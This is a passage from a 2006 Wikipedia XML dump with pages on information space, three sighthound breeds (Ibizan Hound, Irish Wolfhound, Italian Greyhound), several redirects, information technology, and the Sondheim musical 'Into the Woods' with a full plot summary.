      <id>35490004</id>
      <timestamp>2006-01-17T03:00:24Z</timestamp>
      <contributor>
        <username>Babajobu</username>
        <id>125012</id>
      </contributor>
      <comment>expand template</comment>
      <text xml:space="preserve">{{expand}}
{{importance}}
An '''information space''' is the application of a [[space|spatial]] [[metaphor]] to [[information]].

==See also==
*[[Cartography]]
*[[Cluster analysis]]
*[[Cyberspace]]
*[[Factor analysis]]
*[[Knowledge representation]]
*[[Semantic network]]
*[[Virtual reality]]

==External links==
*[http://www.cybergeography.org/atlas/info_spaces.html An Atlas of Cyberspaces: Three-Dimensional Information Spaces]
*[http://www.cybergeography.org/atlas/info_maps.html An Atlas of Cyberspaces:  Information Space Maps]

{{tech-stub}}

[[Category:Metaphors]]</text>
    </revision>
  </page>
  <page>
    <title>Institutional mode of representation</title>
    <id>15333</id>
    <revision>
      <id>15912809</id>
      <timestamp>2002-07-27T19:13:55Z</timestamp>
      <contributor>
        <username>Koyaanis Qatsi</username>
        <id>90</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Institutional Mode of Representation]]</text>
    </revision>
  </page>
  <page>
    <title>Ibizan Hound</title>
    <id>15334</id>
    <revision>
      <id>40926787</id>
      <timestamp>2006-02-23T22:53:27Z</timestamp>
      <contributor>
        <ip>70.121.75.17</ip>
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      <comment>/* Appearance */</comment>
      <text xml:space="preserve">&lt;!-- Begin Infobox Dogbreed.  The text of the article should go AFTER this section. See: --&gt;
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&lt;!-- for full explanation of the syntax used in this template. --&gt;
{{Infobox Dogbreed
| akcgroup = Hound
| akcstd = http://www.akc.org/breeds/ibizan_hound/index.cfm
| altname = Ibizan Podenco&lt;br&gt;Ibizan Warren Hound&lt;br&gt;Podenco Ibicenco&lt;br&gt;Ca Eivissenc
| ankcgroup = Group 4 (Hounds)
| ankcstd = http://www.ankc.aust.com/ibizan.html
| ckcgroup = Group 2 - Hounds
| ckcstd = ?
| country = [[Spain]]
| fcigroup = 5
| fcinum = 89
| fcisection = 7
| fcistd = http://www.google.com/search?q=cache:bvtX45643r0J:www.fci.be/uploaded_files/089gb2000_en.doc+site:www.fci.be+%2289+/+04.+02.+2000%22&amp;hl=en&amp;ie=UTF-8
| image = Ibizanhoundsit.jpg
| image_caption = ''Podenco Ibicenco'', or the ''Ibizan Hound'', believed to have originated in [[Ancient Egypt]], may actually be a more recent breed.
| kcukgroup = Hound
| kcukstd = http://www.the-kennel-club.org.uk/discoverdogs/hound/h784.htm
| name = Ibizan Hound
| nzkcgroup = Hounds
| nzkcstd = http://www.nzkc.org.nz/br474.html
| ukcgroup = Sighthounds and Pariah Dogs
| ukcstd = http://www.ukcdogs.com/breeds/sighthoundspariahs/ibizanhound.std.shtml
}}
&lt;!-- End Infobox Dogbreed info. Article Begins Here --&gt;

The '''Ibizan Hound''', also called '''Podenco Ibicenco''' in Spanish or '''Ca Eivissenc''' in Catalan, is an agile, deer-like [[dog]] of the [[sighthound]] family. There are three hair types of the [[dog breeds|breed]]: smooth, long, and wire, of which the most common is the smooth-haired.  Long-haired Ibizans are considered rare.

== Appearance ==
The Ibizan Hound has no black on its body; they are either red or white or a combination of red and white.  Its nose is flesh coloured, as is its ears.  Its eyes are a striking [[amber (color)|amber]] colour.

The Ibizan may range in height from 24 to 29 inches and weigh from 45 to 60 pounds.  The breed has a pronounced sensitivity to cold, their hair providing little in the way of insulation.

==History==
For many years, this breed was considered one of the oldest dog breeds.  It was believed the Ibizan Hound originated in ancient [[Egypt]], as pictures that appear to be of Ibizan hounds have been seen on the walls of ancient [[pyramid]]s. 

However, according to [[Dr. Elaine Ostrander]], a geneticist at the [[Fred Hutchinson Cancer Research Center]] and [[University of Washington]], recent [[DNA analysis]] reveals that this breed is actually a recent construction, bred to resemble an older form. 
In a study directed by Dr. Ostrander, with the aid of her colleague, Dr. Leonid Kruglyak, &quot;they have found genetic variations that allow them to distinguish among 85 dog breeds and to identify an individual dog's breed with 99 percent accuracy,&quot; according to Mark Derr, a science writer for the New York Times.

&quot;We can assign a dog to a breed, but we can't tell what behavior it will have,&quot; asserts Ostrander. &quot;There is huge variation in behavior between dogs within breeds.&quot;  The results of the study, published in May 2004 in ''Science'' magazine, may help in the study of disease, both canine and human, because certain breeds are prone to some of the same genetic diseases as humans.[http://www.nytimes.com/2004/05/21/science/21dog.html?ex=1400472000&amp;en=6b49c839cde80d81&amp;ei=5007&amp;partner=USERLAND]

Wherever it may have actually originated, the breed were used to hunt [[rabbit]]s and other small game in [[Ibiza]]. The Ibizan Hound is a fast dog that can hunt on all types of terrain, working by sight, sound, and scent. Spanish hunters run these dogs in mostly female packs, with perhaps a male or two, as the female is the better hunter. This breed is similar to the [[Pharaoh Hound]], but the Ibizan Hound is larger and can have a multicolored hair pattern. The Ibizan Hound was fully recognized by the AKC in 1979.

&lt;!--- en:Ibizan Hound ---&gt;

[[Category:Dog breeds]]
[[Category:Sight hounds]]

[[de:Podenco Ibicenco]]
[[no:Podenco ibicenco]]
[[pl:Podenco z Ibizy]]</text>
    </revision>
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  <page>
    <title>Irish Wolfhound</title>
    <id>15335</id>
    <revision>
      <id>41014664</id>
      <timestamp>2006-02-24T14:16:22Z</timestamp>
      <contributor>
        <ip>169.139.224.10</ip>
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      <text xml:space="preserve">&lt;!-- Begin Infobox Dogbreed.  The text of the article should go AFTER this section. See: --&gt;
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&lt;!-- for full explanation of the syntax used in this template. --&gt;
{{Infobox Dogbreed
| akcgroup = Hound
| akcstd = http://www.akc.org/breeds/irish_wolfhound/index.cfm
| ankcgroup = Group 4 (Hound)
| ankcstd = http://www.ankc.aust.com/irishwol.html
| ckcgroup = Group 2 (Hound)
| ckcstd = http://www.irishwolfhoundclubofcanada.ca/handbook/standard.shtml
| country = [[Ireland]]
| fcigroup = 10
| fcinum = 160
| fcisection = 2
| fcistd = http://www.fci.be/uploaded_files/160A2001_en.doc
| image = IrishWolfhoundPair.jpg
| image_caption = A pair of Irish Wolfhounds
| kcukgroup = Hound
| kcukstd = http://www.the-kennel-club.org.uk/discoverdogs/hound/h785.htm
| name = Irish Wolfhound
| nzkcgroup = Hound
| nzkcstd = http://www.nzkc.org.nz/br476.html
| ukcgroup = Sighthounds and Pariah Dogs
| ukcstd = http://www.ukcdogs.com/breeds/sighthoundspariahs/irishwolfhound.std.shtml
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&lt;!-- End Infobox Dogbreed info. Article Begins Here --&gt;
The '''Irish Wolfhound''' is a breed of [[hound]] (a [[sighthound]]), bred to hunt. The name originates from its purpose rather than from its appearance: To hunt [[wolf|wolves]]. 

==Appearance==
These [[dog]]s are the tallest [[dog breed|breed]], with a swift pace and good sight. They have a rough coat (gray, brindle, red, black, pure white, or fawn), a large arrow-shaped head, and a long, muscular neck.

The Irish Wolfhound features in Gaelic mythology with Cuchaillin having a nice big dog.
The Irish Wolfhound is usually known as the tallest dog in the world, averaging up to 86 cm (34 inches) at the [[withers]], a fact that sometimes
is its biggest disadvantage when attracting owners who have no concern for its special needs.  As with all breeds, the ideal and accepted measurements vary somewhat from one standard to another, and there will always be individuals whose size falls outside these standards. However, generally breeders aim for a height averaging 32 to 34 inches (81 cm to 86 cm) in male dogs, two to four inches (5 to 10 cm) less for bitches. Acceptable weight minimums range from 105 lb (48 kg) for bitches to 120 lb (54 kg) for males.

==Temperament==
In temperament, they are considered gentle and friendly, very calm in the house, enjoying long sleeps but energetic when taken for walks. Despite their great size and sometimes intimidating appearance, wolfhounds are sensitive and should be corrected firmly but without anger. They should be socialized from a young age so that they have a chance to gather experience.
While historically Wolfhounds should show a strong guarding instinct, most modern Irish Wolfhounds are not temperamentally suited to be a guard dog.

[[Image:Wolfhound_mascot_wb.jpg|thumb|left|200px|Irish Guards mascot in parade dress]]

==Health==
Wolfhounds should not receive additional supplements when a good dog chow is used.  It is generally accepted that they should be fed a large breed puppy food until 18 months of age and then change to a large breed adult food.

By the age of 8 months, the dogs appear adult, and many owners start stressing them too much. Outstretched limbs and irreparable damage are the result.  Wolfhounds need at least 18 months to be ready for [[lure coursing]], running as a sport, and other strenuous activities.

[[Heart disease]] and [[osteosarcoma|bone cancer]] are the leading cause of death and like all deep-chested dogs, [[gastric torsion]] (bloat) is always a possibility. Otherwise they are generally a healthy dog with few if any breed specific illnesses. The average lifespan is around 6 to 7 years, though breeders are doing their best to increase this, with some animals now reaching 10 years or more.

==History==
The breed is very old, possibly from the [[1st century BC]] or earlier, bred as war dogs by the ancient [[Celts]], who called them ''Cú Faoil''. The [[Gael (Ancient people)|Irish]] continued to breed them for this purpose, as well as to guard their homes and protect their stock. Regular references of Irish Wolfhounds being used in dog fights are found in many historical sagas - [[Cuchulain]]'s favourite, Luath was slain by a southern chief's hound, Phorp.

While many modern texts state Irish wolfhounds were used for coursing deer, contemporary pre-revival accounts such as Animated Nature ([[1796]]) by Oliver Goldsmith are explicit that the original animal was a very poor coursing dog.  Their astonishing size, speed, and intelligence made them ideal hunting animals for both wild boar and wolves, and many were exported for this purpose.  They were perhaps too ideal, as the wolf is now extinct in [[Ireland]]. The Irish Wolfhound has been recorded as being exhibited in [[Ancient Rome]] to some excitement, and mention is made that they so amazed and terrified the Romans that it was seen fit to only transport them in cages. There exists stories that in the arena, the original Wolfhound was the equal of a lion.

During times of conflict with England, it was not uncommon for Wolfhounds to be trained to take armored knights off of their horses.  Thus allowing an infantry man to move in and finish the kill if the Wolfhound has not done so already.  

Due to a massive export into various countries as a gift for royalty and a ban that allowed only royalty to own such a dog, the breed almost vanished in the middle of the [[19th century]]. Captain Graham rebred the Irish Wolfhound with the [[Deerhound]], [[Great Dane]], Borzoi and other breeds; this saved the breed, but had the inevitable effect of altering its appearance.

The ancient breed (often referred to as the Irish Wolfdogge in contemporary accounts) was available in both a smooth and rough coated variety.  Descriptions of its appearance and demeanor, as well as the method of its use place it closer to the flock guardians in appearance than the modern breed.  The historical variety was famed for its loyalty, discernment, grave nature and aggression.  In terms of temperament the modern breed has been greatly mellowed.

==Miscellaneous==
An Irish Wolfhound serves as the regimental mascot to the [[Irish Guards]] in [[England]] and accompanies the regiment in all of its parades.

The skulls of several Irish Wolfhounds were recovered in excavations of the ruins of [[Emain Macha]].  These skulls are now in the possession of the Royal Irish Academy.  No reconstruction appears to have been done to establish the appearance of these progenitors of the breed.

==Famous Wolfhounds==
*Centaur Pendragon, pet of [[Rudolph Valentino]]
*The mascot for the London Irish Rugby team.

==External links==
*[http://www.irishwolfhounds.org/mascots.htm Regimental mascot]

[[Category:Dog breeds]]
[[Category:Sight hounds]]
&lt;!--- en:Irish Wolfhound ---&gt;

[[de:Irish Wolfhound]]
[[eo:Irlanda lupohundo]]
[[fr:Lévrier irish wolfhound]]
[[no:Irsk ulvehund]]
[[pl:Wilczarz irlandzki]]
[[sr:Ирски вучји хрт]]
[[sv:Irländsk varghund]]
[[he:וולפהאונד אירי]]</text>
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  <page>
    <title>Italian Greyhound</title>
    <id>15336</id>
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      <contributor>
        <username>Elf</username>
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      <minor />
      <comment>rv - &quot;lithe&quot; is correct</comment>
      <text xml:space="preserve">&lt;!-- Begin Infobox Dogbreed.  The text of the article should go AFTER this section. See: --&gt;
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&lt;!-- for full explanation of the syntax used in this template. --&gt;
{{Infobox Dogbreed
| akcgroup = Toy
| akcstd = http://www.akc.org/breeds/italian_greyhound/index.cfm
| altname = Piccolo Levriero Italiano
| ankcgroup = Group 1 (Toys)
| ankcstd = http://www.ankc.aust.com/italgrey.html
| ckcgroup = Group 5 - Toys
| ckcstd = http://www.ckc.ca/Default.aspx?tabid=137&amp;Breed_Code=IAG
| country = [[Italy]]
| fcigroup = 10
| fcinum = 200
| fcisection = 3
| fcistd = http://www.google.com/search?q=cache:41SXaj9RDzkJ:www.fci.be/uploaded_files/200gb98.doc+site:www.fci.be+%22200+/+17.+06.+1998%22&amp;hl=en&amp;ie=UTF-8
| image = Italian greyhund.jpg
| image_caption = Italian Greyhound
| kcukgroup = Toy
| kcukstd = http://www.the-kennel-club.org.uk/discoverdogs/toy/y909.htm
| name = Italian Greyhound
| nzkcgroup = Toy
| nzkcstd = http://www.nzkc.org.nz/br128.html
| ukcgroup = Companion Breeds 
| ukcstd = http://mail.ukcdogs.com/UKCweb.nsf/80de88211ee3f2dc8525703f004ccb1e/366ff10ca6c35fec85257044004f7008?OpenDocument
}}
&lt;!-- End Infobox Dogbreed info. Article Begins Here --&gt;
The '''Italian Greyhound''' is a small [[dog breed|breed]] of [[dog]], specifically a member of the [[sight hound]] family and member of the [[toy dog|toy]] group.

==Appearance==
[[Image:ItalianGreyhound.jpg|left|]]
The Italian Greyhound is the smallest of the sight hounds, typically weighing 3 to 5 kg. They look like miniature [[Greyhound]]s. 

The colour of the coat is a subject of much discussion. In [[United_Kingdom|England]], the [[United States|USA]], and [[Australia]], white spotted Italians are accepted, while the FCI standards adhered to in [[Europe]] allows white spots only on the chest and paws.

The modern Italian Greyhound's appearance is a result of breeders throughout [[Europe]], particularly [[Austria]]n, [[Germany|German]], [[Italy|Italian]], and [[France|French]] breeders, making great contributions to the forming of this [[breed]].
The  Italian Greyhound should resemble a small [[Greyhound]], or rather a [[Sloughi]]. It is important that the dogs are significantly more elegant and graceful than these breeds, though. 

==Temperament==
The Italian Greyhound is considered a good companion dog, as they are very affectionate.

The Italian Greyhound's apparent lack of wide appeal is possibly because of their fragile appearance, with their spindly legs. The reality of the breed is quite contrary to the appearance, though, as they are frequently described as a 'big' dog in a small package. They also have a realatively loud bark. In fact, the breed will be equally at home in a city and in the country, and it does not require as much exercise as larger breeds. The Italian Greyhound is hardy, rarely ill, intelligent and easy to teach.

Sometimes, IG's will make a resonably good guard-dog and bark at things that aren't usually in the street. They may also bark at passers by. 

IG's often get along with cats so if you already have a cat and you are looking for a suitable dog which won't chase your beloved kitty all day long, IG's can be recommended.

IG's despise the wind, wet and cold and will sometimes refuse to do their &quot; business &quot; outside if it is raining so some recommend having some old newspaper on the floor near the exit. 

This breed, like most dogs, is not a fussy eater and will eat almost anything, including the month-old scraps from your garden. Most will eat enthusiastically, but some get more picky about their food as they age.  

IGs are good with kids but their thin bones are fragile and can be hurt by rough play from young children.

Dogs of this breed have an almost odour-free, easily managed coat. Although the coat is incredibly short, it can shed. The breed simply loves the company of people, and will promptly occupy your lap if you let it. In fact, many owners of this breed have them sleeping with them in their beds. 

The young dog will often be particularly active, and this high level of activity sometimes lead them to try to 'fly' from furniture or stairs. It is important to keep a close eye on the dogs in this initial phase as their young bones are still fragile. The first year of life is the most accident-prone, although the graceful legs often seem to withstand incredible punishment they are not invulnerable.

IGs love to run as fast as they possibly can, and, like all dogs, it's important that they have an opportunity to run full out at least once daily, either in the back yard or under supervision and control in a larger area.
Like most dogs they enjoy digging and, if left to their own devices for entertainment and exercise, might resort to digging or other destructive behavior. 

Like most smaller breeds, the Italian Greyhound can be difficult to [[housebreak]]. This will normally come along with patience and training, but at a slower pace than most other breeds. Patience is the only way to help the training along, and remember that the breed is small and as such the dog will have a small bladder.

==Health==
Members of this breed might love the sunlight, so owners need to ensure that they don't become overheated, and they do get sunburned (particularly on their heads and bellies), so it's recommended to use [[sunscreen]] on them.

The breed is relatively free of disease, but the following ailments do occur:
* [[Epilepsy in animals|Epilepsy]]
* [[Perthes disease|Legg-Perthes disease]] (degeneration of the hip)
* [[luxating patella|Patellar Luxation]] (slipped stifles)
* [[Osteoporosis]]
* [[Von Willebrand disease|von Willebrand disease]] (vWD) (Bleeding disorder)
* [[Progressive retinal atrophy]] (PRA)

Broken bones are common as well.  The tails of the Italian Greyhound are delicate and fragile.  Be careful when handling a dog such as the Italian Greyhound and always supervise children who are playing with this breed.

==History==
The name of the breed is a reference to the breed's popularity in [[renaissance]] [[Italy]]. [[Mummy|Mummified]] dogs very similar to the Italian Greyhound (or small Greyhounds) have been found in Egypt, and pictorials of small Greyhounds have been found in [[Pompeii]], and they were probably the only accepted companion-dog there. As an amusing aside the expression 'Cave Canem' (Beware of the dog) was a warning to visitors, not that the dogs would attack but to beware of damaging the small dogs. 

Although the small dogs are mainly companionship dogs they have in fact been used for [[hunting]] purposes, often in combination with hunting [[falcon]]s.

==Miscellaneous==
The grace of the breed has prompted several artists to include the dogs in paintings, among others [[Velasquez]], [[Pisanello]] and [[Giotto_di_Bondone|Giotto]]. The breed has been popular with [[royal family|royalty]] throughout, among the best known [[royal]] aficionados were [[Mary I of Scotland|Mary Stuart]], [[Anne_I_of_the_United_Kingdom|Queen Anne]], [[Victoria of the United Kingdom|Queen Victoria]], [[Catherine_II_of_Russia|Catherine The Great]], [[Frederick II of Prussia|Frederick the Great]] and the [[Norway|Norwegian]] [[Maud,_Queen_of_Norway|Queen Maud]].

==Activities==
Some Italian Greyhounds enjoy [[dog agility]]. The breed's lithe body and its love of action enable it to potentially do well at this sport, although not many IGs participate and their natural inclination is for straight-out racing rather than for working tightly as a team with a handler on a technical course.

[[Lure coursing]] is another activity well-fitted to the Italian Greyhound, and they seem to enjoy it tremendously. Although the Italian Greyhound is a very fast dog, it is not as well suited to racing as its larger cousin.

[[Category:Dog breeds]]
[[Category:Sight hounds]]

&lt;!--- FCI (10/3/200) Italy ---&gt;
&lt;!--- en:Italian Greyhound ---&gt;

[[da:Italiensk mynde]]
[[de:Italienisches Windspiel]]
[[fr:Lévrier italien]]
[[he:גרייהאונד איטלקי]]
[[no:Italiensk mynde]]
[[pl:Charcik włoski]]
[[ru:Левретка]]</text>
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    <id>15337</id>
    <revision>
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      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[FireWire]]</text>
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  <page>
    <title>IEEE 1394</title>
    <id>15338</id>
    <revision>
      <id>15912814</id>
      <timestamp>2004-03-27T00:14:38Z</timestamp>
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        <username>Philwelch</username>
        <id>41420</id>
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      <text xml:space="preserve">#REDIRECT [[FireWire]]</text>
    </revision>
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  <page>
    <title>IT</title>
    <id>15339</id>
    <revision>
      <id>36083848</id>
      <timestamp>2006-01-21T13:10:05Z</timestamp>
      <contributor>
        <username>William Allen Simpson</username>
        <id>580725</id>
      </contributor>
      <minor />
      <comment>{R to disambiguation page}</comment>
      <text xml:space="preserve">#REDIRECT [[It]]{{R to disambiguation page}}</text>
    </revision>
  </page>
  <page>
    <title>Information technology</title>
    <id>15340</id>
    <revision>
      <id>42084574</id>
      <timestamp>2006-03-03T18:50:47Z</timestamp>
      <contributor>
        <username>Gwernol</username>
        <id>266416</id>
      </contributor>
      <comment>Revert to revision 41831674 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{portal}}
'''Information technology''' (IT) or '''Information and communication(s) technology''' (ICT) is a broad subject concerned with [[technology]] and other aspects of [[information processing|managing and processing information]], especially in large [[organization]]s.

In particular, IT deals with the use of [[electronics|electronic]] [[computer]]s and [[computer software]] to [[convert]], [[store]], [[protect]], [[process]], [[Transmission (telecommunications)|transmit]], and retrieve [[information]]. For that reason, computer professionals are often called '''IT specialists''', and the division of a company or university that deals with software technology is often called the '''IT department'''.  Other names for the latter are [[information systems|information service]]s (IS) or [[management information system|management information service]]s (MIS). managed service provider (MSP) Such as Virtual IT Solution http://www.virtualitsolution.com. 

==Topics==
* [[Information technology audit]]
** [[IT audit resources]]
** [[Computer security audit]]
* [[Computing]]
* [[Computer science]]
* [[Information science]]
* [[Information security]]
* [[World Wide Web]]
* [[Digital library]]
* [[Pattern recognition]]
* [[Data management]]
** [[Data processing]]
** [[RFID]]
** [[Data mining]]
** [[Data drilling]]
** [[Metadata (computing)|Metadata]]
* [[Data storage]]
** [[Database]]
** [[Data networking]]
* [[Technology assessment]]
* [[Cryptography]]
* [[Information Technology Infrastructure Library]]
* [[Information technology governance]]
* [[Telematics]]

==External links==
*{{dmoz|Business/Information_Technology/|{{PAGENAME}}}}
{{wikibooks}}
{{Technology}}

[[Category:Information technology| ]]

[[af:Inligtingstegnologie]]
[[da:Informationsteknologi]]
[[de:Informationstechnik]]
[[es:Tecnologías de la información]]
[[fa:فناوری اطلاعات]]
[[fr:Technologies de l'information et de la communication]]
[[gl:Tecnoloxías da información]]
[[ko:정보통신기술]]
[[id:Teknologi informasi]]
[[it:ICT]]
[[ka:საინფორმაციო ტექნოლოგია]]
[[lv:Informācijas tehnoloģijas]]
[[hu:Informatika]]
[[ml:ഇന്‍ഫര്‍മേഷന്‍ ടെക്നോളജി]]
[[ms:Teknologi maklumat]]
[[nl:Informatie- en Communicatietechnologie]]
[[ja:情報技術]]
[[pt:Tecnologia da informação]]
[[ro:Tehnologia informaţiei]]
[[ru:Информационные технологии]]
[[fi:Ohjelmistotekniikka]]
[[sv:IT]]
[[ta:தகவல் தொழில்நுட்பம்]]
[[th:เทคโนโลยีสารสนเทศ]]
[[vi:Công nghệ thông tin]]
[[uk:Інформаційні технології]]
[[zh:信息技术]]
[[pl:IT]]</text>
    </revision>
  </page>
  <page>
    <title>Into the Woods</title>
    <id>15341</id>
    <revision>
      <id>41561949</id>
      <timestamp>2006-02-28T04:05:53Z</timestamp>
      <contributor>
        <ip>67.78.136.222</ip>
      </contributor>
      <comment>/* Plot summary */</comment>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; style=&quot;float:right; margin:0 0 0.5em 1em; width:25em;&quot;
|-
|colspan=2 style=&quot;text-align:center;&quot; | '''''[[Broadway_theatre|Broadway]]'' Show'''
|-
|colspan=2 style=&quot;text-align:center;&quot; | 
|-
!colspan=2 style=&quot;font-size: larger; background-color:{{{bgcolor}}}; color:{{{fgcolor}}};&quot; | ''Into the Woods''
|-
|'''Theatre''' || [[Al Hirschfeld Theatre|Martin Beck Theatre]] ([[1987]] - [[1989]])
|-
|'''Opening Night''' || [[5 November]] [[1987]]
|-
|'''Author(s)''' || Music &amp; lyrics by [[Stephen Sondheim]]; Book by [[James Lapine]]
|-
|'''Director''' || [[James Lapine]]
|-
|'''Leading Original Cast Members''' || [[Bernadette Peters]], [[Joanna Gleason]], [[Chip Zien]], Kim Crosby, Robert Westenberg, Danielle Ferland
|-
|'''Closing Night''' || [[3 September]] [[1989]]
|-
|}

'''''Into the Woods''''' is an award-winning [[Musical_theatre|musical]] featuring a score by [[Stephen Sondheim]] and book by [[James Lapine]]. It debuted in [[San Diego]] at the Old Globe Theatre in 1986, and premiered on [[Broadway_theatre|Broadway]] in 1987. [[Bernadette Peters]]' performance as the Witch, and [[Joanna Gleason]]'s portrayal of the Baker's Wife, brought acclaim to the production during its original Broadway run, and in a year dominated by [[The Phantom of the Opera]], &quot;Into the Woods&quot; won several [[Tony]] awards, including best score.  Although not a large part, The Witch has attracted numerous &quot;name&quot; actresses in major productions, including [[Ellen Foley]], [[Phylicia Rashad]], [[Nancy Dussault]], and [[Vanessa Lynn Williams | Vanessa Williams]].

Inspired by [[Bruno Bettelheim]]'s ''The Uses of Enchantment'', the musical intertwines a collection of uncensored versions of 18th century [[Brothers Grimm]] [[Fairy tale|Fairy tales]].  An original story involving a Baker and his Wife's quest to begin a family ties together the stories of  [[Little Red Riding Hood|Little Red Ridinghood]], Jack of [[Jack and the Beanstalk]], [[Rapunzel]], and [[Cinderella]].

Act I opens with a wish, a witch, and a curse.  Each separate tale intertwines throughout the story, each depending on a weakness or strength of another.  The play's conflicts are motivated by selfish wishes, made for the betterment of individual characters.

Act II explores what happens after &quot;happily ever after,&quot; when these wishes have come true.  The land is ravaged by a giant, whose husband was killed when Jack chopped down the beanstalk.  The show explores the consequences of actions taken in the first act, and the need for community in order to survive &quot;the Woods&quot;. Among the many messages expressed in the musical, one of the strongest is that unless people are gathering for one mission, the mission cannot be accomplished, as long as each is egocentric.

Notable songs in the musical include &quot;Into the Woods&quot;, &quot;Hello, Little Girl&quot;, &quot;I Know Things Now&quot;, &quot;Giants in the Sky&quot;, &quot;It Takes Two&quot;, &quot;Agony&quot;, &quot;Stay With Me&quot;, &quot;On the Steps of the Palace&quot;, &quot;Ever After&quot;, &quot;Happy&quot;, &quot;Moments in the Woods&quot;, &quot;Your Fault&quot;, &quot;The Last Midnight&quot;, &quot;No More&quot;, &quot;No One Is Alone&quot;, and &quot;Children Will Listen&quot;.

The musical makes heavy use of [[Syncopation|syncopated]] speech.  In many instances, the characters' lines are delivered with a fixed beat that follows natural speech rhythms, but is also purposely composed in eighth, sixteenth, and quarter note rhythms as part of a spoken song.  Like many Sondheim/Lapine productions, the songs contain thought-process narrative, where characters converse or think aloud. See ''[[Into_the_Woods#Lyric_Examples|Lyric Examples]]'' for detail.

==Plot summary==
{{spoiler}}

'''Act I'''&lt;br&gt;
In Act I, the major characters are introduced by the Narrator, along with their respective wishes.  Cinderella wishes to attend the King's festival, Jack wishes for his pet cow, Milky-White, to give milk, and the Baker and his Wife wish for a child.  Cinderella's Stepsisters mock her desire to attend the ball, and Jack's Mother insists that Jack must sell his beloved cow.  The Baker and his Wife are visited by Little Red Ridinghood, who purchases bread to bring to her Granny in the woods.  Shortly after, the Witch from next door appears, and informs the Baker and his Wife that she has cursed his lineage with infertility in retaliation for the Baker's father having stolen &quot;greens&quot; from her garden many years ago.  The Witch reveals that the Baker's father was fetching greens to satisfy his pregnant wife's cravings.  The Witch punished the Baker's parents by claiming the child for her own, a girl who is later revealed to be Rapunzel.  The Baker's father also stole magic beans from the Witch's garden, and it is for this crime that she cursed his lineage.  The Witch grants them a way to reverse their barren fate, sending them into the forest to fetch four ingredients for a certain potion: &quot;The cow as white as milk, the cape as red as blood, the hair as yellow as corn, and the slipper as pure as gold&quot;. They spend the rest of Act I on a quest to locate these items.  

Meanwhile, Cinderella and Rapunzel are each pursued by a Prince; a Mysterious Man roams the woods, harassing Jack and the Baker; and Little Red Ridinghood encounters a seemingly-friendly Wolf on the path to Granny's.  The Wolf persuades Little Red Ridinghood to tarry on her way, and he races ahead to her Granny's house.  The Baker and his Wife encounter Jack, and persuade him to trade his cow in exchange for the magic beans stolen from the Witch.  The Baker also encounters Little Red Ridinghood, and after she refuses to give him her cape, he attempts to steal it, but is rebuffed by her loud tantrum.  Little Red Ridinghood reaches her destination to find her Granny has been replaced and devoured by the Wolf, who then eats her.  Fortunately, the Baker is at hand, and kills the wolf, freeing Little Red Ridinghood and her Granny.  In exchange for rescuing her, Little Red Ridinghood gives the Baker her red cloak.  Jack's Mother throws away the magic beans, which grow into a large beanstalk.  Jack then climbs the beanstalk, retrieving many riches from the home of the Giants.  Eventually he cuts down the beanstalk, felling the Giant.  The Baker's Wife encounters Cinderella, who is attempting to escape from the Prince.  She notices Cinderella's golden slippers, eventually persuading Cinderella to part with them.  She also encounters Rapunzel's Prince visiting her tower, and by observing him, learns the secret of retrieving Rapunzel's corn-yellow hair.  After escaping with a section of the hair, she reunites with her husband, and with some difficulty the potion is created, the spell is lifted.  The Mysterious Man is revealed to be the Baker's father, who then dies, and the Witch regains the youth and beauty that she lost on the night that the beans were stolen from her, but at the cost of losing her powers.  Cinderella and Rapunzel eventually get their Princes, Jack gets his cow back, and the Act ends with everyone elated at the granting of their wishes, with the exception of Cinderella's Stepsisters, who have been blinded by birds.

'''Act II'''&lt;br&gt;
In Act II, sheer fairy-tale chaos ensues.  The wife of the slain Giant is rampaging the land, searching for Jack.  She storms through the Baker's village, destroying the Witch's garden.  Little Red Ridinghood arrives at the Baker's house shortly thereafter, announcing that her mother was killed when their house was destroyed.  The Witch, young and beautiful again, but lacking her former powers, joins with them to search the forest and stop the Giantess.  Jack, too, sets off, as he feels responsible for the onset of terror.  Cinderella, who has found contentment with the Prince, learns from the birds that something has happened to her mother's grave, and she goes to investigate.  All the characters are once again out in the woods, but for a different purpose: this journey is motivated by a desire to repair damage done by the original, selfish wishes.  Gradually, each character realizes that wishes made for one's own purpose and benefit quickly turn against expectations.

Lack of unity amongst the characters causes several violent and unexpected deaths.  Rapunzel is crushed by the Giant after she runs towards her in hysterics of post partem depression after bearing twins to her Prince.  Jack's Mother is killed by a blow to the head from the royal Steward, who is attempting to stop her from further angering and antagonizing the Giant.  Even the Narrator is pulled into the story and thrown to the Giant.  Cinderella's Father, Stepmother, Stepsisters, and the Steward, Little Red Ridinghood, Jack, the Witch, the Baker, and his Wife cluster together for safety.  The royal family leaves, claiming to know a far away kingdom to escape to.  Meanwhile, the two Princes, who seemingly should be working to save everyone, are instead singing of two new women whom they wish to pursue, [[Snow White]] and [[Sleeping Beauty]].

The survivors consider their options, deciding to split up in order to search for Jack.  The Baker's Wife encounters Cinderella's Prince, who seduces her.  Shortly after he leaves, she is crushed to death by a falling tree knocked astray by the Giant.  All reconvene, quickly discovering their diminishing numbers.  A fight ensues, each attempting to place blame on anyone but themselves.  Eventually, they decide that the Witch is to blame, for raising the beans that grew the beanstalk to the Giants' world.  The Witch, after chastising them for being unable to accept that they are ''all'' responsible, disappears in a puff of smoke, leaving them alone as her final curse.  The Baker, overcome with grief, leaves Little Red, Cinderella, and Jack and tries to run away from the woes of the Woods.  He encounters his father, who explains how life becomes even harder when you run.  With renewed resolve, the Baker finds the rest of the group again.

With only Jack, Little Red Ridinghood, Cinderella, the Baker, and his child left alive, they concoct a scheme to slay the Giant, using what they have learned in their journey.  Little Red Riding Hood spreads pitch on the ground to trap the Giant, as the Prince had done to Cinderella on the stairs at the ball.  Jack waits with the Baker in a tree with a club, as he had done to kill the Giant's husband.  While waiting for the Giant to return, Little Red and Jack realize that they are alone; their mothers are both dead.  The Baker and Cinderella comfort the two children with the essential thesis of the show: no one is alone.  When the Giant comes looking for Jack,  Little Red Ridinghood calls attention to herself, sending the Giant toward Jack's supposed hiding place.  Cinderella stands by with the Baker's child and calls to her bird friends, who peck out the Giant's eyes, and Jack slays her.  In the end, they resolve to make a new life, void of violence and selfishness, but remain haunted by the memories of their loved ones.  It seems that everyone has learned that wishes can be dangerous.  However, after the very last note, Cinderella steps forward from the ensemble and sings &quot;I Wish!&quot;, indicating that humanity may be unable to exist apart from its dreams and wishes.

==Productions==

